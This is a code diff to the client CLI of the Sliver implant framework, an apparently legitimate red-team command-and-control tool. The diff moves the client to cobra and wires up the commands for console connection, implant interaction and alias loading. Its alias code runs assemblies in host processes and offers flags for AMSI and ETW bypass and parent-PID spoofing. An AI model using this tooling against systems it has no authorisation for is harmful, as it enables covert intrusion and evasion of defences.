+import (
+	"context"
+	"fmt"
+	"os"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/transport"
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"github.com/spf13/cobra"
+	"google.golang.org/grpc"
+	"google.golang.org/grpc/connectivity"
+)
+
+// consoleCmd generates the console with required pre/post runners.
+func consoleCmd(con *console.SliverClient) *cobra.Command {
+	consoleCmd := &cobra.Command{
+		Use:   "console",
+		Short: "Start the sliver client console",
+	}
+
+	consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
+	return consoleCmd
+}
+
+func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
+	var ln *grpc.ClientConn
+
+	pre = func(_ *cobra.Command, _ []string) error {
+
+		configs := assets.GetConfigs()
+		if len(configs) == 0 {
+			fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
+			return nil
+		}
+		config := selectConfig()
+		if config == nil {
+			return nil
+		}
+
+		// Don't clobber output when simply running an implant command from system shell.
+		if run {
+			fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
+		}
+
+		var rpc rpcpb.SliverRPCClient
+		var err error
+
+		rpc, ln, err = transport.MTLSConnect(config)
+		if err != nil {
+			fmt.Printf("Connection to server failed %s", err)
+			return nil
+		}
+
+		// Wait for any connection state changes and exit if the connection is lost.
+		go handleConnectionLost(ln)
+
+		return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
+	}
+
+	// Close the RPC connection once exiting
+	post = func(_ *cobra.Command, _ []string) error {
+		if ln != nil {
+			return ln.Close()
+		}
+
+		return nil
+	}
+
+	return pre, post
+}
+
+func handleConnectionLost(ln *grpc.ClientConn) {
+	currentState := ln.GetState()
+	// currentState should be "Ready" when the connection is established.
+	if ln.WaitForStateChange(context.Background(), currentState) {
+		newState := ln.GetState()
+		// newState will be "Idle" if the connection is lost.
+		if newState == connectivity.Idle {
+			fmt.Println("\nLost connection to server. Exiting now.")
+			os.Exit(1)
+		}
+	}
+}
@@ -0,0 +1,93 @@
+package cli
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"errors"
+
+	"github.com/bishopfox/sliver/client/command"
+	"github.com/bishopfox/sliver/client/command/use"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/constants"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+func implantCmd(con *console.SliverClient) *cobra.Command {
+	con.IsCLI = true
+
+	makeCommands := command.SliverCommands(con)
+	cmd := makeCommands()
+	cmd.Use = constants.ImplantMenu
+
+	// Flags
+	implantFlags := pflag.NewFlagSet(constants.ImplantMenu, pflag.ContinueOnError)
+	implantFlags.StringP("use", "s", "", "interact with a session")
+	cmd.Flags().AddFlagSet(implantFlags)
+
+	// Pre-runners (console setup, connection, etc)
+	cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con)
+
+	// Completions
+	makeCompleters(cmd, con)
+
+	return cmd
+}
+
+func makeRunners(implantCmd *cobra.Command, con *console.SliverClient) (pre, post func(cmd *cobra.Command, args []string) error) {
+	startConsole, closeConsole := consoleRunnerCmd(con, false)
+
+	// The pre-run function connects to the server and sets up a "fake" console,
+	// so we can have access to active sessions/beacons, and other stuff needed.
+	pre = func(_ *cobra.Command, args []string) error {
+		startConsole(implantCmd, args)
+
+		// Set the active target.
+		target, _ := implantCmd.Flags().GetString("use")
+		if target == "" {
+			return errors.New("no target implant to run command on")
+		}
+
+		session := con.GetSession(target)
+		if session != nil {
+			con.ActiveTarget.Set(session, nil)
+		}
+
+		return nil
+	}
+
+	return pre, closeConsole
+}
+
+func makeCompleters(cmd *cobra.Command, con *console.SliverClient) {
+	comps := carapace.Gen(cmd)
+
+	comps.PreRun(func(cmd *cobra.Command, args []string) {
+		cmd.PersistentPreRunE(cmd, args)
+	})
+
+	// Bind completers to flags (wrap them to use the same pre-runners)
+	command.BindFlagCompletions(cmd, func(comp *carapace.ActionMap) {
+		(*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+			cmd.PersistentPreRunE(cmd, c.Args)
+			return use.SessionIDCompleter(con)
+		})
+	})
+}
@@ -23,25 +23,35 @@ import (
 	"os"

 	"github.com/bishopfox/sliver/client/assets"
+	"github.com/rsteube/carapace"
 	"github.com/spf13/cobra"
 )

-var cmdImport = &cobra.Command{
-	Use:   "import",
-	Short: "Import a client configuration file",
-	Long:  `import [config files]`,
-	Run: func(cmd *cobra.Command, args []string) {
-		if 0 < len(args) {
-			for _, arg := range args {
-				conf, err := assets.ReadConfig(arg)
-				if err != nil {
-					fmt.Printf("[!] %s\n", err)
-					os.Exit(3)
+func importCmd() *cobra.Command {
+	cmdImport := &cobra.Command{
+		Use:   "import",
+		Short: "Import a client configuration file",
+		Long:  `import [config files]`,
+		Run: func(cmd *cobra.Command, args []string) {
+			if 0 < len(args) {
+				for _, arg := range args {
+					conf, err := assets.ReadConfig(arg)
+					if err != nil {
+						fmt.Printf("[!] %s\n", err)
+						os.Exit(3)
+					}
+					assets.SaveConfig(conf)
 				}
-				assets.SaveConfig(conf)
+			} else {
+				fmt.Printf("Missing config file path, see --help")
 			}
-		} else {
-			fmt.Printf("Missing config file path, see --help")
-		}
-	},
+		},
+		ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
+			return []string{}, cobra.ShellCompDirectiveDefault
+		},
+	}
+
+	carapace.Gen(cmdImport).PositionalCompletion(carapace.ActionFiles().Tag("server configuration"))
+
+	return cmdImport
 }
@@ -21,28 +21,31 @@ package alias
 import (
 	"encoding/json"
 	"fmt"
-	"io/ioutil"
+	"os"
 	"strings"

 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/desertbit/grumble"
 	"github.com/jedib0t/go-pretty/v6/table"
 	"github.com/jedib0t/go-pretty/v6/text"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
 )

-// AliasesCmd - The alias command
-func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// AliasesCmd - The alias command.
+func AliasesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) error {
 	if 0 < len(loadedAliases) {
 		PrintAliases(con)
 	} else {
 		con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
 	}
+
+	return nil
 }

-// PrintAliases - Print a list of loaded aliases
-func PrintAliases(con *console.SliverConsoleClient) {
+// PrintAliases - Print a list of loaded aliases.
+func PrintAliases(con *console.SliverClient) {
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
 	tw.AppendHeader(table.Row{
@@ -84,8 +87,8 @@ func PrintAliases(con *console.SliverConsoleClient) {
 	con.Println(tw.Render())
 }

-// AliasCommandNameCompleter - Completer for installed extensions command names
-func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
+// AliasCommandNameCompleter - Completer for installed extensions command names.
+func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverClient) []string {
 	results := []string{}
 	for name := range loadedAliases {
 		if strings.HasPrefix(name, prefix) {
@@ -111,7 +114,7 @@ func getInstalledManifests() map[string]*AliasManifest {
 	manifestPaths := assets.GetInstalledAliasManifests()
 	installedManifests := map[string]*AliasManifest{}
 	for _, manifestPath := range manifestPaths {
-		data, err := ioutil.ReadFile(manifestPath)
+		data, err := os.ReadFile(manifestPath)
 		if err != nil {
 			continue
 		}
@@ -124,3 +127,14 @@ func getInstalledManifests() map[string]*AliasManifest {
 	}
 	return installedManifests
 }
+
+// AliasCommandNameCompleter - Completer for installed extensions command names.
+func AliasCompleter() carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		results := []string{}
+		for name := range loadedAliases {
+			results = append(results, name)
+		}
+		return carapace.ActionValues(results...).Tag("aliases")
+	})
+}
@@ -0,0 +1,61 @@
+package alias
+
+import (
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+)
+
+// Commands returns the `alias` command and its child commands.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	aliasCmd := &cobra.Command{
+		Use:   consts.AliasesStr,
+		Short: "List current aliases",
+		Long:  help.GetHelpFor([]string{consts.AliasesStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			AliasesCmd(cmd, con, args)
+		},
+		GroupID: consts.GenericHelpGroup,
+	}
+
+	aliasLoadCmd := &cobra.Command{
+		Use:   consts.LoadStr + " [ALIAS]",
+		Short: "Load a command alias",
+		Long:  help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}),
+		Args:  cobra.ExactArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			AliasesLoadCmd(cmd, con, args)
+		},
+	}
+	aliasCmd.AddCommand(aliasLoadCmd)
+	flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory"))
+
+	aliasInstallCmd := &cobra.Command{
+		Use:   consts.InstallStr + " [ALIAS]",
+		Short: "Install a command alias",
+		Long:  help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}),
+		Args:  cobra.ExactArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			AliasesInstallCmd(cmd, con, args)
+		},
+	}
+	aliasCmd.AddCommand(aliasInstallCmd)
+	flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file"))
+
+	aliasRemove := &cobra.Command{
+		Use:   consts.RmStr + " [ALIAS]",
+		Short: "Remove an alias",
+		Long:  help.GetHelpFor([]string{consts.RmStr}),
+		Args:  cobra.ExactArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			AliasesRemoveCmd(cmd, con, args)
+		},
+	}
+	flags.NewCompletions(aliasRemove).PositionalCompletion(AliasCompleter())
+	aliasCmd.AddCommand(aliasRemove)
+
+	return []*cobra.Command{aliasCmd}
+}
@@ -20,7 +20,6 @@ package alias

 import (
 	"fmt"
-	"io/ioutil"
 	"os"
 	"path/filepath"
 	"strings"
@@ -29,27 +28,27 @@ import (
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/util"
-	"github.com/desertbit/grumble"
+	"github.com/spf13/cobra"
 )

-// AliasesInstallCmd - Install an alias
-func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	aliasLocalPath := ctx.Args.String("path")
+// AliasesInstallCmd - Install an alias.
+func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	aliasLocalPath := args[0]
 	fi, err := os.Stat(aliasLocalPath)
 	if os.IsNotExist(err) {
-		con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
+		con.PrintErrorf("Alias path '%s' does not exist", aliasLocalPath)
 		return
 	}
 	if !fi.IsDir() {
-		InstallFromFile(aliasLocalPath, false, con)
+		InstallFromFile(aliasLocalPath, "", false, con)
 	} else {
 		installFromDir(aliasLocalPath, con)
 	}
 }

-// Install an extension from a directory
-func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
-	manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
+// Install an extension from a directory.
+func installFromDir(aliasLocalPath string, con *console.SliverClient) {
+	manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
 	if err != nil {
 		con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
 		return
@@ -74,12 +73,12 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
 	con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
 	err = os.MkdirAll(installPath, 0o700)
 	if err != nil {
-		con.PrintErrorf("\nError creating alias directory: %s\n", err)
+		con.PrintErrorf("Error creating alias directory: %s\n", err)
 		return
 	}
-	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
 	if err != nil {
-		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
+		con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
 		forceRemoveAll(installPath)
 		return
 	}
@@ -90,7 +89,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
 			dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
 			err := util.CopyFile(src, dst)
 			if err != nil {
-				con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
+				con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
 				forceRemoveAll(installPath)
 				return
 			}
@@ -100,8 +99,8 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
 	con.Printf("done!\n")
 }

-// Install an extension from a .tar.gz file
-func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
+// Install an extension from a .tar.gz file.
+func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite bool, con *console.SliverClient) *string {
 	manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
 	if err != nil {
 		con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
@@ -109,12 +108,18 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
 	}
 	manifest, err := ParseAliasManifest(manifestData)
 	if err != nil {
-		con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
+		errorMsg := ""
+		if aliasName != "" {
+			errorMsg = fmt.Sprintf("Error processing manifest for alias %s - failed to parse %s: %s\n", aliasName, ManifestFileName, err)
+		} else {
+			errorMsg = fmt.Sprintf("Failed to parse %s: %s\n", ManifestFileName, err)
+		}
+		con.PrintErrorf(errorMsg)
 		return nil
 	}
 	installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
 	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
-		if !autoOverwrite {
+		if promptToOverwrite {
 			con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
 			confirm := false
 			prompt := &survey.Confirm{Message: "Overwrite current install?"}
@@ -129,20 +134,20 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
 	con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
 	err = os.MkdirAll(installPath, 0o700)
 	if err != nil {
-		con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
+		con.PrintErrorf("Failed to create alias directory: %s\n", err)
 		return nil
 	}
-	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
 	if err != nil {
-		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
+		con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
 		forceRemoveAll(installPath)
 		return nil
 	}
 	for _, aliasFile := range manifest.Files {
 		if aliasFile.Path != "" {
-			err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
+			err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path)
 			if err != nil {
-				con.PrintErrorf("\nFailed to install file: %s\n", err)
+				con.PrintErrorf("Failed to install file: %s\n", err)
 				forceRemoveAll(installPath)
 				return nil
 			}
@@ -152,8 +157,8 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
 	return &installPath
 }

-func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
-	data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
+func installArtifact(aliasGzFilePath string, installPath, artifactPath string) error {
+	data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator))))
 	if err != nil {
 		return err
 	}
@@ -165,7 +170,7 @@ func installArtifact(aliasGzFilePath string, installPath, artifactPath string, c
 	if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
 		os.MkdirAll(artifactDir, 0o700)
 	}
-	err = ioutil.WriteFile(localArtifactPath, data, 0o600)
+	err = os.WriteFile(localArtifactPath, data, 0o600)
 	if err != nil {
 		return err
 	}
@@ -32,10 +32,13 @@ import (
 	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/client/packages"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util"
-	"github.com/desertbit/grumble"
+	app "github.com/reeflective/console"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
 	"google.golang.org/protobuf/proto"
 )

@@ -50,30 +53,30 @@ const (
 )

 var (
-	// alias name -> manifest/command
+	// alias name -> manifest/command.
 	loadedAliases = map[string]*loadedAlias{}

 	defaultHostProc = map[string]string{
 		"windows": windowsDefaultHostProc,
-		"linux":   windowsDefaultHostProc,
+		"linux":   linuxDefaultHostProc,
 		"darwin":  macosDefaultHostProc,
 	}
 )

-// Ties the manifest struct to the command struct
+// Ties the manifest struct to the command struct.
 type loadedAlias struct {
 	Manifest *AliasManifest
-	Command  *grumble.Command
+	Command  *cobra.Command
 }

-// AliasFile - An OS/Arch specific file
+// AliasFile - An OS/Arch specific file.
 type AliasFile struct {
 	OS   string `json:"os"`
 	Arch string `json:"arch"`
 	Path string `json:"path"`
 }

-// AliasManifest - The manifest for an alias, contains metadata
+// AliasManifest - The manifest for an alias, contains metadata.
 type AliasManifest struct {
 	Name           string `json:"name"`
 	Version        string `json:"version"`
@@ -83,14 +86,17 @@ type AliasManifest struct {
 	Help           string `json:"help"`
 	LongHelp       string `json:"long_help"`

-	Entrypoint   string       `json:"entrypoint"`
-	AllowArgs    bool         `json:"allow_args"`
-	DefaultArgs  string       `json:"default_args"`
-	Files        []*AliasFile `json:"files"`
-	IsReflective bool         `json:"is_reflective"`
-	IsAssembly   bool         `json:"is_assembly"`
+	Entrypoint   string                 `json:"entrypoint"`
+	AllowArgs    bool                   `json:"allow_args"`
+	DefaultArgs  string                 `json:"default_args"`
+	Files        []*AliasFile           `json:"files"`
+	IsReflective bool                   `json:"is_reflective"`
+	IsAssembly   bool                   `json:"is_assembly"`
+	Schema       *packages.OutputSchema `json:"schema"`

-	RootPath string `json:"-"`
+	RootPath   string `json:"-"`
+	ArmoryName string `json:"-"`
+	ArmoryPK   string `json:"-"`
 }

 func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
@@ -101,7 +107,7 @@ func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err er
 	return
 }

-func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
+func (a *AliasManifest) getFileForTarget(_ string, targetOS string, targetArch string) (string, error) {
 	filePath := ""
 	for _, extFile := range a.Files {
 		if targetOS == extFile.OS && targetArch == extFile.Arch {
@@ -121,9 +127,10 @@ func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, target
 }

 // AliasesLoadCmd - Locally load a alias into the Sliver shell.
-func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	dirPath := ctx.Args.String("dir-path")
-	alias, err := LoadAlias(dirPath, con)
+func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	dirPath := args[0]
+	// dirPath := ctx.Args.String("dir-path")
+	alias, err := LoadAlias(dirPath, cmd.Root(), con)
 	if err != nil {
 		con.PrintErrorf("Failed to load alias: %s\n", err)
 	} else {
@@ -131,8 +138,8 @@ func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }

-// LoadAlias - Load an alias into the Sliver shell from a given directory
-func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
+// LoadAlias - Load an alias into the Sliver shell from a given directory.
+func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClient) (*AliasManifest, error) {
 	// retrieve alias manifest
 	var err error
 	manifestPath, err = filepath.Abs(manifestPath)
@@ -150,52 +157,46 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 		return nil, err
 	}
 	aliasManifest.RootPath = filepath.Dir(manifestPath)
+
 	// for each alias command, add a new app command
-
-	// do not add if the command already exists
-	if cmdExists(aliasManifest.CommandName, con.App) {
-		return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
-	}
-
 	helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
 	longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
 	longHelpMsg += "\n\n⚠️  If you're having issues passing arguments to the alias please read:\n"
 	longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
-	addAliasCmd := &grumble.Command{
-		Name:     aliasManifest.CommandName,
-		Help:     helpMsg,
-		LongHelp: longHelpMsg,
-		Run: func(extCtx *grumble.Context) error {
-			con.Println()
-			runAliasCommand(extCtx, con)
-			con.Println()
-			return nil
+	addAliasCmd := &cobra.Command{
+		Use:   aliasManifest.CommandName,
+		Short: helpMsg,
+		Long:  longHelpMsg,
+		Run: func(cmd *cobra.Command, args []string) {
+			runAliasCommand(cmd, con, args)
 		},
-		Flags: func(f *grumble.Flags) {
-			if aliasManifest.IsAssembly {
-				f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
-				f.String("c", "class", "", "Optional class name (required for .NET DLL)")
-				f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
-				f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
-				f.Bool("i", "in-process", false, "Run in the current sliver process")
-				f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
-				f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
-				f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
-
-			}
-			f.String("p", "process", "", "Path to process to host the shared object")
-			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
-			f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
-			f.Bool("s", "save", false, "Save output to disk")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Args: func(a *grumble.Args) {
-			a.StringList("arguments", "arguments", grumble.Default([]string{}))
-		},
-		HelpGroup: consts.AliasHelpGroup,
+		Args:        cobra.ArbitraryArgs, // 	a.StringList("arguments", "arguments", grumble.Default([]string{}))
+		GroupID:     consts.AliasHelpGroup,
+		Annotations: makeAliasPlatformFilters(aliasManifest),
 	}
-	con.App.AddCommand(addAliasCmd)
+
+	if aliasManifest.IsAssembly {
+		f := pflag.NewFlagSet("assembly", pflag.ContinueOnError)
+		f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)")
+		f.StringP("class", "c", "", "Optional class name (required for .NET DLL)")
+		f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
+		f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+		f.BoolP("in-process", "i", false, "Run in the current sliver process")
+		f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
+		f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
+		f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
+		addAliasCmd.Flags().AddFlagSet(f)
+	}
+
+	f := pflag.NewFlagSet(aliasManifest.Name, pflag.ContinueOnError)
+	f.StringP("process", "p", "", "Path to process to host the shared object")
+	f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
+	f.Uint32P("ppid", "P", 0, "parent process ID to use when creating the hosting process (Windows only)")
+	f.BoolP("save", "s", false, "Save output to disk")
+	f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
+	addAliasCmd.Flags().AddFlagSet(f)
+
+	cmd.AddCommand(addAliasCmd)

 	// Have to use a global map here, as passing the aliasCmd
 	// either by value or by ref fucks things up
@@ -207,7 +208,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 	return aliasManifest, nil
 }

-// ParseAliasManifest - Parse an alias manifest
+// ParseAliasManifest - Parse an alias manifest.
 func ParseAliasManifest(data []byte) (*AliasManifest, error) {
 	// parse it
 	alias := &AliasManifest{}
@@ -240,10 +241,17 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
 		}
 	}

+	if alias.Schema != nil {
+		if !packages.IsValidSchemaType(alias.Schema.Name) {
+			return nil, fmt.Errorf("%s is not a valid schema type", alias.Schema.Name)
+		}
+		alias.Schema.IngestColumns()
+	}
+
 	return alias, nil
 }

-func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
@@ -258,41 +266,41 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		goarch = beacon.Arch
 	}

-	loadedAlias, ok := loadedAliases[ctx.Command.Name]
+	loadedAlias, ok := loadedAliases[cmd.Name()]
 	if !ok {
-		con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
+		con.PrintErrorf("No alias found for `%s` command\n", cmd.Name())
 		return
 	}
 	aliasManifest := loadedAlias.Manifest
-	binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
+	binPath, err := aliasManifest.getFileForTarget(cmd.Name(), goos, goarch)
 	if err != nil {
 		con.PrintErrorf("Fail to find alias file: %s\n", err)
 		return
 	}
-	args := ctx.Args.StringList("arguments")
-	var extArgs string
+	// args := ctx.Args.StringList("arguments")
+	var extArgsStr string
 	if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
-		extArgs = aliasManifest.DefaultArgs
+		extArgsStr = aliasManifest.DefaultArgs
 	} else {
-		extArgs = strings.Join(args, " ")
+		extArgsStr = strings.Join(args, " ")
 	}

-	extArgs = strings.TrimSpace(extArgs)
+	extArgsStr = strings.TrimSpace(extArgsStr)
 	entryPoint := aliasManifest.Entrypoint
-	processArgsStr := ctx.Flags.String("process-arguments")
+	processArgsStr, _ := cmd.Flags().GetString("process-arguments")
 	// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
 	// The Donut loader has a hard limit of 256 characters for the command line arguments, so
 	// we're alerting the user that the arguments will be truncated.
-	if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
+	if len(extArgsStr) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
 		msgStr := ""
 		// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
 		// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
 		// if the flag is not registered.
 		if aliasManifest.IsAssembly {
-			inProcess := ctx.Flags.Bool("in-process")
-			runtime := ctx.Flags.String("runtime")
-			amsiBypass := ctx.Flags.Bool("amsi-bypass")
-			etwBypass := ctx.Flags.Bool("etw-bypass")
+			inProcess, _ := cmd.Flags().GetBool("in-process")
+			runtime, _ := cmd.Flags().GetString("runtime")
+			amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
+			etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
 			if !inProcess {
 				msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
 			}
@@ -312,7 +320,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 	}
 	processArgs := strings.Split(processArgsStr, " ")
-	processName := ctx.Flags.String("process")
+	processName, _ := cmd.Flags().GetString("process")
 	if processName == "" {
 		processName, err = aliasManifest.getDefaultProcess(goos)
 		if err != nil {
@@ -329,9 +337,10 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+
 	var outFilePath *os.File
-	if ctx.Flags.Bool("save") {
-		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
+	if save, _ := cmd.Flags().GetBool("save"); save {
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(cmd.Name()), filepath.Base(session.GetHostname())))
 		outFilePath, err = os.CreateTemp("", outFile)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
